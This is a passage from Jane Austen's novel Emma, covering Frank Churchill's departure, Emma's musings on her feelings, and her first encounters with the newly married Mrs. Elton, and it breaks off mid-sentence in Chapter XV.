minutes, and was +detained by Miss Bates's being absent. She was out; and I felt it +impossible not to wait till she came in. She is a woman that one may, +that one _must_ laugh at; but that one would not wish to slight. +It was better to pay my visit, then"-- + +He hesitated, got up, walked to a window. + +"In short," said he, "perhaps, Miss Woodhouse--I think you can +hardly be quite without suspicion"-- + +He looked at her, as if wanting to read her thoughts. She hardly +knew what to say. It seemed like the forerunner of something +absolutely serious, which she did not wish. Forcing herself +to speak, therefore, in the hope of putting it by, she calmly said, + +"You are quite in the right; it was most natural to pay your visit, then"-- + +He was silent. She believed he was looking at her; probably reflecting +on what she had said, and trying to understand the manner. +She heard him sigh. It was natural for him to feel that he had +_cause_ to sigh. He could not believe her to be encouraging him. +A few awkward moments passed, and he sat down again; and in a more +determined manner said, + +"It was something to feel that all the rest of my time might be +given to Hartfield. My regard for Hartfield is most warm"-- + +He stopt again, rose again, and seemed quite embarrassed.-- +He was more in love with her than Emma had supposed; and who can say +how it might have ended, if his father had not made his appearance? +Mr. Woodhouse soon followed; and the necessity of exertion made +him composed. + +A very few minutes more, however, completed the present trial. +Mr. Weston, always alert when business was to be done, and as +incapable of procrastinating any evil that was inevitable, +as of foreseeing any that was doubtful, said, "It was time to go;" +and the young man, though he might and did sigh, could not but agree, +to take leave. + +"I shall hear about you all," said he; "that is my chief consolation. +I shall hear of every thing that is going on among you. I have +engaged Mrs. Weston to correspond with me. She has been so kind as +to promise it. Oh! the blessing of a female correspondent, when one +is really interested in the absent!--she will tell me every thing. +In her letters I shall be at dear Highbury again." + +A very friendly shake of the hand, a very earnest "Good-bye," +closed the speech, and the door had soon shut out Frank Churchill. +Short had been the notice--short their meeting; he was gone; and Emma +felt so sorry to part, and foresaw so great a loss to their little +society from his absence as to begin to be afraid of being too sorry, +and feeling it too much. + +It was a sad change. They had been meeting almost every day +since his arrival. Certainly his being at Randalls had given +great spirit to the last two weeks--indescribable spirit; the idea, +the expectation of seeing him which every morning had brought, +the assurance of his attentions, his liveliness, his manners! +It had been a very happy fortnight, and forlorn must be the sinking +from it into the common course of Hartfield days. To complete every +other recommendation, he had _almost_ told her that he loved her. +What strength, or what constancy of affection he might be subject to, +was another point; but at present she could not doubt his having +a decidedly warm admiration, a conscious preference of herself; +and this persuasion, joined to all the rest, made her think that +she _must_ be a little in love with him, in spite of every previous +determination against it. + +"I certainly must," said she. "This sensation of listlessness, +weariness, stupidity, this disinclination to sit down and employ myself, +this feeling of every thing's being dull and insipid about the house!-- +I must be in love; I should be the oddest creature in the world if I +were not--for a few weeks at least. Well! evil to some is always +good to others. I shall have many fellow-mourners for the ball, +if not for Frank Churchill; but Mr. Knightley will be happy. +He may spend the evening with his dear William Larkins now if he likes." + +Mr. Knightley, however, shewed no triumphant happiness. He could +not say that he was sorry on his own account; his very cheerful look +would have contradicted him if he had; but he said, and very steadily, +that he was sorry for the disappointment of the others, and with +considerable kindness added, + +"You, Emma, who have so few opportunities of dancing, you are really +out of luck; you are very much out of luck!" + +It was some days before she saw Jane Fairfax, to judge of her +honest regret in this woeful change; but when they did meet, +her composure was odious. She had been particularly unwell, however, +suffering from headache to a degree, which made her aunt declare, +that had the ball taken place, she did not think Jane could have +attended it; and it was charity to impute some of her unbecoming +indifference to the languor of ill-health. + + + +CHAPTER XIII + + +Emma continued to entertain no doubt of her being in love. Her ideas +only varied as to the how much. At first, she thought it was a good deal; +and afterwards, but little. She had great pleasure in hearing Frank +Churchill talked of; and, for his sake, greater pleasure than ever +in seeing Mr. and Mrs. Weston; she was very often thinking of him, +and quite impatient for a letter, that she might know how he was, +how were his spirits, how was his aunt, and what was the chance +of his coming to Randalls again this spring. But, on the other hand, +she could not admit herself to be unhappy, nor, after the +first morning, to be less disposed for employment than usual; +she was still busy and cheerful; and, pleasing as he was, she could +yet imagine him to have faults; and farther, though thinking of him +so much, and, as she sat drawing or working, forming a thousand +amusing schemes for the progress and close of their attachment, +fancying interesting dialogues, and inventing elegant letters; +the conclusion of every imaginary declaration on his side was that she +_refused_ _him_. Their affection was always to subside into friendship. +Every thing tender and charming was to mark their parting; +but still they were to part. When she became sensible of this, +it struck her that she could not be very much in love; for in spite +of her previous and fixed determination never to quit her father, +never to marry, a strong attachment certainly must produce more +of a struggle than she could foresee in her own feelings. + +"I do not find myself making any use of the word _sacrifice_," said she.-- +"In not one of all my clever replies, my delicate negatives, +is there any allusion to making a sacrifice. I do suspect that he +is not really necessary to my happiness. So much the better. +I certainly will not persuade myself to feel more than I do. I am +quite enough in love. I should be sorry to be more." + +Upon the whole, she was equally contented with her view of his feelings. + +"_He_ is undoubtedly very much in love--every thing denotes it--very much +in love indeed!--and when he comes again, if his affection continue, +I must be on my guard not to encourage it.--It would be most +inexcusable to do otherwise, as my own mind is quite made up. +Not that I imagine he can think I have been encouraging him hitherto. +No, if he had believed me at all to share his feelings, he would +not have been so wretched. Could he have thought himself encouraged, +his looks and language at parting would have been different.-- +Still, however, I must be on my guard. This is in the supposition +of his attachment continuing what it now is; but I do not know that I +expect it will; I do not look upon him to be quite the sort of man-- +I do not altogether build upon his steadiness or constancy.-- +His feelings are warm, but I can imagine them rather changeable.-- +Every consideration of the subject, in short, makes me thankful +that my happiness is not more deeply involved.--I shall do very well +again after a little while--and then, it will be a good thing over; +for they say every body is in love once in their lives, and I shall +have been let off easily." + +When his letter to Mrs. Weston arrived, Emma had the perusal of it; +and she read it with a degree of pleasure and admiration which made +her at first shake her head over her own sensations, and think she +had undervalued their strength. It was a long, well-written letter, +giving the particulars of his journey and of his feelings, +expressing all the affection, gratitude, and respect which was +natural and honourable, and describing every thing exterior and local +that could be supposed attractive, with spirit and precision. +No suspicious flourishes now of apology or concern; it was the +language of real feeling towards Mrs. Weston; and the transition +from Highbury to Enscombe, the contrast between the places in some +of the first blessings of social life was just enough touched on +to shew how keenly it was felt, and how much more might have been +said but for the restraints of propriety.--The charm of her own +name was not wanting. _Miss_ _Woodhouse_ appeared more than once, +and never without a something of pleasing connexion, either a +compliment to her taste, or a remembrance of what she had said; +and in the very last time of its meeting her eye, unadorned as it +was by any such broad wreath of gallantry, she yet could discern +the effect of her influence and acknowledge the greatest compliment +perhaps of all conveyed. Compressed into the very lowest vacant +corner were these words--"I had not a spare moment on Tuesday, +as you know, for Miss Woodhouse's beautiful little friend. Pray make +my excuses and adieus to her." This, Emma could not doubt, was all +for herself. Harriet was remembered only from being _her_ friend. +His information and prospects as to Enscombe were neither worse nor +better than had been anticipated; Mrs. Churchill was recovering, +and he dared not yet, even in his own imagination, fix a time for +coming to Randalls again. + +Gratifying, however, and stimulative as was the letter in the +material part, its sentiments, she yet found, when it was folded up +and returned to Mrs. Weston, that it had not added any lasting warmth, +that she could still do without the writer, and that he must learn +to do without her. Her intentions were unchanged. Her resolution +of refusal only grew more interesting by the addition of a scheme for +his subsequent consolation and happiness. His recollection of Harriet, +and the words which clothed it, the "beautiful little friend," +suggested to her the idea of Harriet's succeeding her in his affections. +Was it impossible?--No.--Harriet undoubtedly was greatly his +inferior in understanding; but he had been very much struck with +the loveliness of her face and the warm simplicity of her manner; +and all the probabilities of circumstance and connexion were in +her favour.--For Harriet, it would be advantageous and delightful indeed. + +"I must not dwell upon it," said she.--"I must not think of it. +I know the danger of indulging such speculations. But stranger +things have happened; and when we cease to care for each other +as we do now, it will be the means of confirming us in that sort +of true disinterested friendship which I can already look forward +to with pleasure." + +It was well to have a comfort in store on Harriet's behalf, +though it might be wise to let the fancy touch it seldom; for evil +in that quarter was at hand. As Frank Churchill's arrival had +succeeded Mr. Elton's engagement in the conversation of Highbury, +as the latest interest had entirely borne down the first, so now +upon Frank Churchill's disappearance, Mr. Elton's concerns were +assuming the most irresistible form.--His wedding-day was named. +He would soon be among them again; Mr. Elton and his bride. +There was hardly time to talk over the first letter from Enscombe +before "Mr. Elton and his bride" was in every body's mouth, +and Frank Churchill was forgotten. Emma grew sick at the sound. +She had had three weeks of happy exemption from Mr. Elton; +and Harriet's mind, she had been willing to hope, had been lately +gaining strength. With Mr. Weston's ball in view at least, +there had been a great deal of insensibility to other things; +but it was now too evident that she had not attained such a state +of composure as could stand against the actual approach--new carriage, +bell-ringing, and all. + +Poor Harriet was in a flutter of spirits which required all the +reasonings and soothings and attentions of every kind that Emma +could give. Emma felt that she could not do too much for her, +that Harriet had a right to all her ingenuity and all her patience; +but it was heavy work to be for ever convincing without producing +any effect, for ever agreed to, without being able to make their opinions +the same. Harriet listened submissively, and said "it was very true-- +it was just as Miss Woodhouse described--it was not worth while to +think about them--and she would not think about them any longer" +but no change of subject could avail, and the next half-hour +saw her as anxious and restless about the Eltons as before. +At last Emma attacked her on another ground. + +"Your allowing yourself to be so occupied and so unhappy about +Mr. Elton's marrying, Harriet, is the strongest reproach you can +make _me_. You could not give me a greater reproof for the mistake I +fell into. It was all my doing, I know. I have not forgotten it, +I assure you.--Deceived myself, I did very miserably deceive you-- +and it will be a painful reflection to me for ever. Do not imagine +me in danger of forgetting it." + +Harriet felt this too much to utter more than a few words +of eager exclamation. Emma continued, + +"I have not said, exert yourself Harriet for my sake; think less, +talk less of Mr. Elton for my sake; because for your own sake rather, +I would wish it to be done, for the sake of what is more important +than my comfort, a habit of self-command in you, a consideration +of what is your duty, an attention to propriety, an endeavour +to avoid the suspicions of others, to save your health and credit, +and restore your tranquillity. These are the motives which I +have been pressing on you. They are very important--and sorry +I am that you cannot feel them sufficiently to act upon them. +My being saved from pain is a very secondary consideration. I want +you to save yourself from greater pain. Perhaps I may sometimes +have felt that Harriet would not forget what was due--or rather +what would be kind by me." + +This appeal to her affections did more than all the rest. +The idea of wanting gratitude and consideration for Miss Woodhouse, +whom she really loved extremely, made her wretched for a while, +and when the violence of grief was comforted away, still remained +powerful enough to prompt to what was right and support her in it +very tolerably. + +"You, who have been the best friend I ever had in my life-- +Want gratitude to you!--Nobody is equal to you!--I care for nobody +as I do for you!--Oh! Miss Woodhouse, how ungrateful I have been!" + +Such expressions, assisted as they were by every thing that look +and manner could do, made Emma feel that she had never loved Harriet +so well, nor valued her affection so highly before. + +"There is no charm equal to tenderness of heart," said she +afterwards to herself. "There is nothing to be compared to it. +Warmth and tenderness of heart, with an affectionate, open manner, +will beat all the clearness of head in the world, for attraction, +I am sure it will. It is tenderness of heart which makes my dear +father so generally beloved--which gives Isabella all her popularity.-- +I have it not--but I know how to prize and respect it.--Harriet is +my superior in all the charm and all the felicity it gives. +Dear Harriet!--I would not change you for the clearest-headed, +longest-sighted, best-judging female breathing. Oh! the coldness +of a Jane Fairfax!--Harriet is worth a hundred such--And for a wife-- +a sensible man's wife--it is invaluable. I mention no names; +but happy the man who changes Emma for Harriet!" + + + +CHAPTER XIV + + +Mrs. Elton was first seen at church: but though devotion might +be interrupted, curiosity could not be satisfied by a bride in a pew, +and it must be left for the visits in form which were then to be paid, +to settle whether she were very pretty indeed, or only rather pretty, +or not pretty at all. + +Emma had feelings, less of curiosity than of pride or propriety, +to make her resolve on not being the last to pay her respects; +and she made a point of Harriet's going with her, that the worst of +the business might be gone through as soon as possible. + +She could not enter the house again, could not be in the same room +to which she had with such vain artifice retreated three months ago, +to lace up her boot, without _recollecting_. A thousand vexatious +thoughts would recur. Compliments, charades, and horrible blunders; +and it was not to be supposed that poor Harriet should not be +recollecting too; but she behaved very well, and was only rather +pale and silent. The visit was of course short; and there was so +much embarrassment and occupation of mind to shorten it, that Emma +would not allow herself entirely to form an opinion of the lady, +and on no account to give one, beyond the nothing-meaning terms +of being "elegantly dressed, and very pleasing." + +She did not really like her. She would not be in a hurry to find fault, +but she suspected that there was no elegance;--ease, but not elegance.-- +She was almost sure that for a young woman, a stranger, a bride, +there was too much ease. Her person was rather good; her face +not unpretty; but neither feature, nor air, nor voice, nor manner, +were elegant. Emma thought at least it would turn out so. + +As for Mr. Elton, his manners did not appear--but no, she would +not permit a hasty or a witty word from herself about his manners. +It was an awkward ceremony at any time to be receiving wedding visits, +and a man had need be all grace to acquit himself well through it. +The woman was better off; she might have the assistance of fine clothes, +and the privilege of bashfulness, but the man had only his own +good sense to depend on; and when she considered how peculiarly +unlucky poor Mr. Elton was in being in the same room at once with +the woman he had just married, the woman he had wanted to marry, +and the woman whom he had been expected to marry, she must allow him +to have the right to look as little wise, and to be as much affectedly, +and as little really easy as could be. + +"Well, Miss Woodhouse," said Harriet, when they had quitted +the house, and after waiting in vain for her friend to begin; +"Well, Miss Woodhouse, (with a gentle sigh,) what do you think of her?-- +Is not she very charming?" + +There was a little hesitation in Emma's answer. + +"Oh! yes--very--a very pleasing young woman." + +"I think her beautiful, quite beautiful." + +"Very nicely dressed, indeed; a remarkably elegant gown." + +"I am not at all surprized that he should have fallen in love." + +"Oh! no--there is nothing to surprize one at all.--A pretty fortune; +and she came in his way." + +"I dare say," returned Harriet, sighing again, "I dare say she +was very much attached to him." + +"Perhaps she might; but it is not every man's fate to marry the +woman who loves him best. Miss Hawkins perhaps wanted a home, +and thought this the best offer she was likely to have." + +"Yes," said Harriet earnestly, "and well she might, nobody could ever +have a better. Well, I wish them happy with all my heart. And now, +Miss Woodhouse, I do not think I shall mind seeing them again. +He is just as superior as ever;--but being married, you know, +it is quite a different thing. No, indeed, Miss Woodhouse, you need +not be afraid; I can sit and admire him now without any great misery. +To know that he has not thrown himself away, is such a comfort!-- +She does seem a charming young woman, just what he deserves. +Happy creature! He called her `Augusta.' How delightful!" + +When the visit was returned, Emma made up her mind. She could then +see more and judge better. From Harriet's happening not to be +at Hartfield, and her father's being present to engage Mr. Elton, +she had a quarter of an hour of the lady's conversation to herself, +and could composedly attend to her; and the quarter of an hour quite +convinced her that Mrs. Elton was a vain woman, extremely well +satisfied with herself, and thinking much of her own importance; +that she meant to shine and be very superior, but with manners which +had been formed in a bad school, pert and familiar; that all her +notions were drawn from one set of people, and one style of living; +that if not foolish she was ignorant, and that her society would +certainly do Mr. Elton no good. + +Harriet would have been a better match. If not wise or refined herself, +she would have connected him with those who were; but Miss Hawkins, +it might be fairly supposed from her easy conceit, had been the best +of her own set. The rich brother-in-law near Bristol was the pride +of the alliance, and his place and his carriages were the pride +of him. + +The very first subject after being seated was Maple Grove, "My brother +Mr. Suckling's seat;"--a comparison of Hartfield to Maple Grove. +The grounds of Hartfield were small, but neat and pretty; and the +house was modern and well-built. Mrs. Elton seemed most favourably +impressed by the size of the room, the entrance, and all that she +could see or imagine. "Very like Maple Grove indeed!--She was quite +struck by the likeness!--That room was the very shape and size +of the morning-room at Maple Grove; her sister's favourite room."-- +Mr. Elton was appealed to.--"Was not it astonishingly like?-- +She could really almost fancy herself at Maple Grove." + +"And the staircase--You know, as I came in, I observed how very like +the staircase was; placed exactly in the same part of the house. +I really could not help exclaiming! I assure you, Miss Woodhouse, +it is very delightful to me, to be reminded of a place I am so +extremely partial to as Maple Grove. I have spent so many happy +months there! (with a little sigh of sentiment). A charming place, +undoubtedly. Every body who sees it is struck by its beauty; +but to me, it has been quite a home. Whenever you are transplanted, +like me, Miss Woodhouse, you will understand how very delightful it +is to meet with any thing at all like what one has left behind. +I always say this is quite one of the evils of matrimony." + +Emma made as slight a reply as she could; but it was fully sufficient +for Mrs. Elton, who only wanted to be talking herself. + +"So extremely like Maple Grove! And it is not merely the house-- +the grounds, I assure you, as far as I could observe, are strikingly +like. The laurels at Maple Grove are in the same profusion as here, +and stand very much in the same way--just across the lawn; +and I had a glimpse of a fine large tree, with a bench round it, +which put me so exactly in mind! My brother and sister will be +enchanted with this place. People who have extensive grounds +themselves are always pleased with any thing in the same style." + +Emma doubted the truth of this sentiment. She had a great idea +that people who had extensive grounds themselves cared very little +for the extensive grounds of any body else; but it was not worth +while to attack an error so double-dyed, and therefore only said +in reply, + +"When you have seen more of this country, I am afraid you will think +you have overrated Hartfield. Surry is full of beauties." + +"Oh! yes, I am quite aware of that. It is the garden of England, +you know. Surry is the garden of England." + +"Yes; but we must not rest our claims on that distinction. +Many counties, I believe, are called the garden of England, +as well as Surry." + +"No, I fancy not," replied Mrs. Elton, with a most satisfied smile." +I never heard any county but Surry called so." + +Emma was silenced. + +"My brother and sister have promised us a visit in the spring, +or summer at farthest," continued Mrs. Elton; "and that will be +our time for exploring. While they are with us, we shall explore +a great deal, I dare say. They will have their barouche-landau, +of course, which holds four perfectly; and therefore, without saying +any thing of _our_ carriage, we should be able to explore the different +beauties extremely well. They would hardly come in their chaise, +I think, at that season of the year. Indeed, when the time draws on, +I shall decidedly recommend their bringing the barouche-landau; +it will be so very much preferable. When people come into a beautiful +country of this sort, you know, Miss Woodhouse, one naturally wishes +them to see as much as possible; and Mr. Suckling is extremely fond +of exploring. We explored to King's-Weston twice last summer, +in that way, most delightfully, just after their first having the +barouche-landau. You have many parties of that kind here, I suppose, +Miss Woodhouse, every summer?" + +"No; not immediately here. We are rather out of distance of the very +striking beauties which attract the sort of parties you speak of; +and we are a very quiet set of people, I believe; more disposed +to stay at home than engage in schemes of pleasure." + +"Ah! there is nothing like staying at home for real comfort. +Nobody can be more devoted to home than I am. I was quite +a proverb for it at Maple Grove. Many a time has Selina said, +when she has been going to Bristol, `I really cannot get this girl +to move from the house. I absolutely must go in by myself, though I +hate being stuck up in the barouche-landau without a companion; +but Augusta, I believe, with her own good-will, would never stir +beyond the park paling.' Many a time has she said so; and yet I +am no advocate for entire seclusion. I think, on the contrary, +when people shut themselves up entirely from society, it is a very +bad thing; and that it is much more advisable to mix in the world in +a proper degree, without living in it either too much or too little. +I perfectly understand your situation, however, Miss Woodhouse-- +(looking towards Mr. Woodhouse), Your father's state of health must +be a great drawback. Why does not he try Bath?--Indeed he should. +Let me recommend Bath to you. I assure you I have no doubt of its doing +Mr. Woodhouse good." + +"My father tried it more than once, formerly; but without receiving +any benefit; and Mr. Perry, whose name, I dare say, is not unknown +to you, does not conceive it would be at all more likely to be +useful now." + +"Ah! that's a great pity; for I assure you, Miss Woodhouse, +where the waters do agree, it is quite wonderful the relief +they give. In my Bath life, I have seen such instances of it! +And it is so cheerful a place, that it could not fail of being of +use to Mr. Woodhouse's spirits, which, I understand, are sometimes +much depressed. And as to its recommendations to _you_, I fancy I +need not take much pains to dwell on them. The advantages of Bath +to the young are pretty generally understood. It would be a charming +introduction for you, who have lived so secluded a life; and I could +immediately secure you some of the best society in the place. +A line from me would bring you a little host of acquaintance; and my +particular friend, Mrs. Partridge, the lady I have always resided +with when in Bath, would be most happy to shew you any attentions, +and would be the very person for you to go into public with." + +It was as much as Emma could bear, without being impolite. +The idea of her being indebted to Mrs. Elton for what was called +an _introduction_--of her going into public under the auspices +of a friend of Mrs. Elton's--probably some vulgar, dashing widow, +who, with the help of a boarder, just made a shift to live!-- +The dignity of Miss Woodhouse, of Hartfield, was sunk indeed! + +She restrained herself, however, from any of the reproofs she could +have given, and only thanked Mrs. Elton coolly; "but their going +to Bath was quite out of the question; and she was not perfectly +convinced that the place might suit her better than her father." +And then, to prevent farther outrage and indignation, changed the +subject directly. + +"I do not ask whether you are musical, Mrs. Elton. Upon these occasions, +a lady's character generally precedes her; and Highbury has long +known that you are a superior performer." + +"Oh! no, indeed; I must protest against any such idea. +A superior performer!--very far from it, I assure you. +Consider from how partial a quarter your information came. +I am doatingly fond of music--passionately fond;--and my friends +say I am not entirely devoid of taste; but as to any thing else, +upon my honour my performance is _mediocre_ to the last degree. +You, Miss Woodhouse, I well know, play delightfully. I assure you +it has been the greatest satisfaction, comfort, and delight to me, +to hear what a musical society I am got into. I absolutely cannot +do without music. It is a necessary of life to me; and having always +been used to a very musical society, both at Maple Grove and in Bath, +it would have been a most serious sacrifice. I honestly said as much +to Mr. E. when he was speaking of my future home, and expressing +his fears lest the retirement of it should be disagreeable; +and the inferiority of the house too--knowing what I had been +accustomed to--of course he was not wholly without apprehension. +When he was speaking of it in that way, I honestly said that _the_ +_world_ I could give up--parties, balls, plays--for I had no fear +of retirement. Blessed with so many resources within myself, +the world was not necessary to _me_. I could do very well without it. +To those who had no resources it was a different thing; but my +resources made me quite independent. And as to smaller-sized rooms +than I had been used to, I really could not give it a thought. +I hoped I was perfectly equal to any sacrifice of that description. +Certainly I had been accustomed to every luxury at Maple Grove; but I +did assure him that two carriages were not necessary to my happiness, +nor were spacious apartments. `But,' said I, `to be quite honest, +I do not think I can live without something of a musical society. +I condition for nothing else; but without music, life would be a blank +to me.'" + +"We cannot suppose," said Emma, smiling, "that Mr. Elton would hesitate +to assure you of there being a _very_ musical society in Highbury; +and I hope you will not find he has outstepped the truth more than +may be pardoned, in consideration of the motive." + +"No, indeed, I have no doubts at all on that head. I am delighted +to find myself in such a circle. I hope we shall have many sweet +little concerts together. I think, Miss Woodhouse, you and I +must establish a musical club, and have regular weekly meetings +at your house, or ours. Will not it be a good plan? If _we_ +exert ourselves, I think we shall not be long in want of allies. +Something of that nature would be particularly desirable for _me_, +as an inducement to keep me in practice; for married women, you know-- +there is a sad story against them, in general. They are but too apt +to give up music." + +"But you, who are so extremely fond of it--there can +be no danger, surely?" + +"I should hope not; but really when I look around among my acquaintance, +I tremble. Selina has entirely given up music--never touches +the instrument--though she played sweetly. And the same may be said +of Mrs. Jeffereys--Clara Partridge, that was--and of the two Milmans, +now Mrs. Bird and Mrs. James Cooper; and of more than I can enumerate. +Upon my word it is enough to put one in a fright. I used to be +quite angry with Selina; but really I begin now to comprehend +that a married woman has many things to call her attention. +I believe I was half an hour this morning shut up with my housekeeper." + +"But every thing of that kind," said Emma, "will soon +be in so regular a train--" + +"Well," said Mrs. Elton, laughing, "we shall see." + +Emma, finding her so determined upon neglecting her music, +had nothing more to say; and, after a moment's pause, Mrs. Elton +chose another subject. + +"We have been calling at Randalls," said she, "and found them +both at home; and very pleasant people they seem to be. +I like them extremely. Mr. Weston seems an excellent creature-- +quite a first-rate favourite with me already, I assure you. +And _she_ appears so truly good--there is something so motherly +and kind-hearted about her, that it wins upon one directly. +She was your governess, I think?" + +Emma was almost too much astonished to answer; but Mrs. Elton +hardly waited for the affirmative before she went on. + +"Having understood as much, I was rather astonished to find her +so very lady-like! But she is really quite the gentlewoman." + +"Mrs. Weston's manners," said Emma, "were always particularly good. +Their propriety, simplicity, and elegance, would make them the safest +model for any young woman." + +"And who do you think came in while we were there?" + +Emma was quite at a loss. The tone implied some old acquaintance-- +and how could she possibly guess? + +"Knightley!" continued Mrs. Elton; "Knightley himself!--Was not +it lucky?--for, not being within when he called the other day, +I had never seen him before; and of course, as so particular a +friend of Mr. E.'s, I had a great curiosity. `My friend Knightley' +had been so often mentioned, that I was really impatient to see him; +and I must do my caro sposo the justice to say that he need not +be ashamed of his friend. Knightley is quite the gentleman. +I like him very much. Decidedly, I think, a very gentleman-like man." + +Happily, it was now time to be gone. They were off; and Emma +could breathe. + +"Insufferable woman!" was her immediate exclamation. "Worse than I +had supposed. Absolutely insufferable! Knightley!--I could not +have believed it. Knightley!--never seen him in her life before, +and call him Knightley!--and discover that he is a gentleman! +A little upstart, vulgar being, with her Mr. E., and her _caro_ _sposo_, +and her resources, and all her airs of pert pretension and +underbred finery. Actually to discover that Mr. Knightley is +a gentleman! I doubt whether he will return the compliment, +and discover her to be a lady. I could not have believed it! +And to propose that she and I should unite to form a musical club! +One would fancy we were bosom friends! And Mrs. Weston!-- +Astonished that the person who had brought me up should be +a gentlewoman! Worse and worse. I never met with her equal. +Much beyond my hopes. Harriet is disgraced by any comparison. +Oh! what would Frank Churchill say to her, if he were here? +How angry and how diverted he would be! Ah! there I am-- +thinking of him directly. Always the first person to be thought of! +How I catch myself out! Frank Churchill comes as regularly into +my mind!"-- + +All this ran so glibly through her thoughts, that by the time +her father had arranged himself, after the bustle of the Eltons' +departure, and was ready to speak, she was very tolerably capable +of attending. + +"Well, my dear," he deliberately began, "considering we never saw +her before, she seems a very pretty sort of young lady; and I dare say +she was very much pleased with you. She speaks a little too quick. +A little quickness of voice there is which rather hurts the ear. +But I believe I am nice; I do not like strange voices; and nobody speaks +like you and poor Miss Taylor. However, she seems a very obliging, +pretty-behaved young lady, and no doubt will make him a very good wife. +Though I think he had better not have married. I made the best +excuses I could for not having been able to wait on him and Mrs. Elton +on this happy occasion; I said that I hoped I _should_ in the course +of the summer. But I ought to have gone before. Not to wait upon +a bride is very remiss. Ah! it shews what a sad invalid I am! +But I do not like the corner into Vicarage Lane." + +"I dare say your apologies were accepted, sir. Mr. Elton knows you." + +"Yes: but a young lady--a bride--I ought to have paid my respects +to her if possible. It was being very deficient." + +"But, my dear papa, you are no friend to matrimony; and therefore +why should you be so anxious to pay your respects to a _bride_? +It ought to be no recommendation to _you_. It is encouraging people +to marry if you make so much of them." + +"No, my dear, I never encouraged any body to marry, but I would +always wish to pay every proper attention to a lady--and a bride, +especially, is never to be neglected. More is avowedly due to _her_. +A bride, you know, my dear, is always the first in company, +let the others be who they may." + +"Well, papa, if this is not encouragement to marry, I do not know +what is. And I should never have expected you to be lending your +sanction to such vanity-baits for poor young ladies." + +"My dear, you do not understand me. This is a +matter of mere common politeness and good-breeding, +and has nothing to do with any encouragement to people to marry." + +Emma had done. Her father was growing nervous, and could not +understand _her_. Her mind returned to Mrs. Elton's offences, +and long, very long, did they occupy her. + + + +CHAPTER XV + + +Emma was not required, by any subsequent discovery, to retract her ill +opinion of Mrs. Elton. Her observation had been pretty correct. +Such as Mrs. Elton appeared to her on this second interview, +such she appeared whenever they met again,--self-important, presuming, +familiar, ignorant, and ill-bred. She had a little beauty and a +little accomplishment, but so little judgment that she thought herself +coming with superior knowledge of the world, to enliven and improve +a country neighbourhood; and conceived Miss Hawkins to have held +such a place in society as Mrs. Elton's consequence only could surpass. + +There was no reason to suppose Mr. Elton thought at all differently +from his wife. He seemed not merely happy with her, but proud. +He had the air of congratulating himself on having brought such +a woman to Highbury, as not even Miss Woodhouse could equal; +and the greater part of her new acquaintance, disposed to commend, +or not in the habit of judging, following the lead of Miss Bates's +good-will, or taking it for granted that the bride must be as clever +and as agreeable as she professed herself, were very well satisfied; +so that Mrs. Elton's praise passed from one mouth to another as it +ought to do, unimpeded by Miss Woodhouse, who readily continued her +first contribution and talked with a good grace of her being "very +pleasant and very elegantly dressed." + +In one respect Mrs. Elton grew even worse than she had appeared +at first. Her feelings altered towards Emma.--Offended, probably, +by the little encouragement which her proposals of intimacy met with, +she drew back in her turn and gradually became much more cold +and distant; and though the effect was agreeable, the ill-will +which produced it was necessarily increasing Emma's dislike. +Her manners, too--and Mr. Elton's, were unpleasant towards Harriet. +They were sneering and negligent. Emma hoped it must rapidly work +Harriet's cure; but the sensations which could prompt such behaviour +sunk them both very much.--It was not to be doubted that poor +Harriet's attachment had been an offering to conjugal unreserve, +and her own share in the story, under a colouring the least favourable +to her and the most soothing to him, had in all likelihood been +given also. She was, of course, the object of their joint dislike.-- +When they had nothing else to say, it must be always easy to begin +abusing Miss Woodhouse; and the enmity which they dared not shew +in open disrespect to her, found a broader vent in contemptuous +treatment of Harriet. + +Mrs. Elton took a great fancy to Jane Fairfax; and from the first. +Not merely when a state of warfare with one young lady might be +supposed to recommend the other, but from the very first; and she +was not satisfied with expressing a natural and reasonable admiration-- +but without solicitation, or plea, or privilege, she must be wanting +to assist and befriend her.--Before Emma had forfeited her confidence, +and about the third time of their meeting, she heard all Mrs. Elton's +knight-errantry on the subject.-- + +"Jane Fairfax is absolutely charming, Miss Woodhouse.--I quite +rave about Jane Fairfax.--A sweet, interesting creature. So mild +and ladylike--and with such talents!--I assure you I think she +has very extraordinary talents. I do not scruple to say that she +plays extremely well. I know enough of music to speak decidedly +on that point. Oh! she is absolutely charming! You will laugh at +my warmth--but, upon my word, I talk of nothing but Jane Fairfax.-- +And her situation is so calculated to affect one!--Miss Woodhouse, +we must exert ourselves and endeavour to do something for her. +We must bring her forward. Such talent as hers must not be suffered +to remain unknown.--I dare say you have heard those charming lines of +the poet, + + `Full many a flower is born to blush unseen, + `And waste its fragrance on the desert air.' + +We must not allow them to be verified in sweet Jane Fairfax." + +"I cannot think there is any danger of it," was Emma's calm answer-- +"and when you are better acquainted with Miss Fairfax's situation +and understand what her home has been, with Colonel and Mrs. Campbell, +I have no idea that you will suppose her talents can be unknown." + +"Oh! but dear Miss Woodhouse, she is now in such retirement, +such obscurity, so thrown away.--Whatever advantages she may have +enjoyed with the Campbells are so palpably at an end! And I think +she feels it. I am sure she does. She is very timid and silent. +One can see that she feels the want of encouragement. I like her +the better for it. I must confess it is a recommendation to me. +I am a great advocate for timidity--and I am sure one does +not often meet with it.--But in those who are at all inferior, +it is extremely prepossessing. Oh! I assure you, Jane Fairfax +is a very delightful character, and interests me more than I +can express." + +"You appear to feel a great deal--but I am not aware how you or any +of Miss Fairfax's acquaintance here, any of those who have known +her longer than yourself, can shew her any other attention than"-- + +"My dear Miss Woodhouse, a vast deal may be done by those who dare +to act. You and I need not be afraid. If _we_ set the example, +many will follow it as far as they can; though all have not +our situations. _We_ have carriages to fetch and convey her home, +and _we_ live in a style which could not make the addition of +Jane Fairfax, at any time, the least inconvenient.--I should be +extremely displeased if Wright were to send us up such a dinner, +as could make me regret having asked _more_ than Jane Fairfax +to partake of it. I have no idea of that sort of thing. It is +not likely that I _should_, considering what I have been used to. +My greatest danger, perhaps, in housekeeping, may be quite the +other way, in doing too much, and being too careless of expense. +Maple Grove will probably be my model more than it ought to be-- +for we do not at all affect to equal my brother, Mr. Suckling, +in income.--However, my resolution is taken as to noticing Jane Fairfax.-- +I shall certainly have her very often at my house, shall introduce +her wherever I can, shall have musical parties to draw out her talents, +and shall be constantly on the watch for an eligible situation. +My acquaintance is so very extensive, that I have little doubt +of hearing of something to suit her shortly.--I shall introduce her, +of course, very particularly to my brother and sister when they come +to us. I am sure they will like her extremely; and when she gets +a little acquainted with them, her fears will completely wear off, +for there really is nothing in the manners of either but what is +highly conciliating.--I shall have her very often indeed while they +are with me, and I dare say we shall sometimes find a seat for her in +the 